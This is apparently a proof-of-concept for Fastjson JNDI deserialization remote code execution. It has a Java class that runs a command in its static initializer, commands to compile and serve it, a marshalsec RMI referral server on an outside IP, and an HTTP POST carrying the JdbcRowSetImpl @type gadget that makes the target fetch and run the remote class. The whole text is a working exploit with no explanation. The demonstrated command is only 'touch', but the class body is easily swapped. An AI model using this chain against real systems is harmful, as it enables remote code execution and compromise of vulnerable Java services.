import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"touch", "/tmp/flag_test"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}

javac TouchFile.java

python -m SimpleHTTPServer 80

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999

POST / HTTP/1.1
Host: 127.0.0.1:8080

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
        "autoCommit":true
    }
}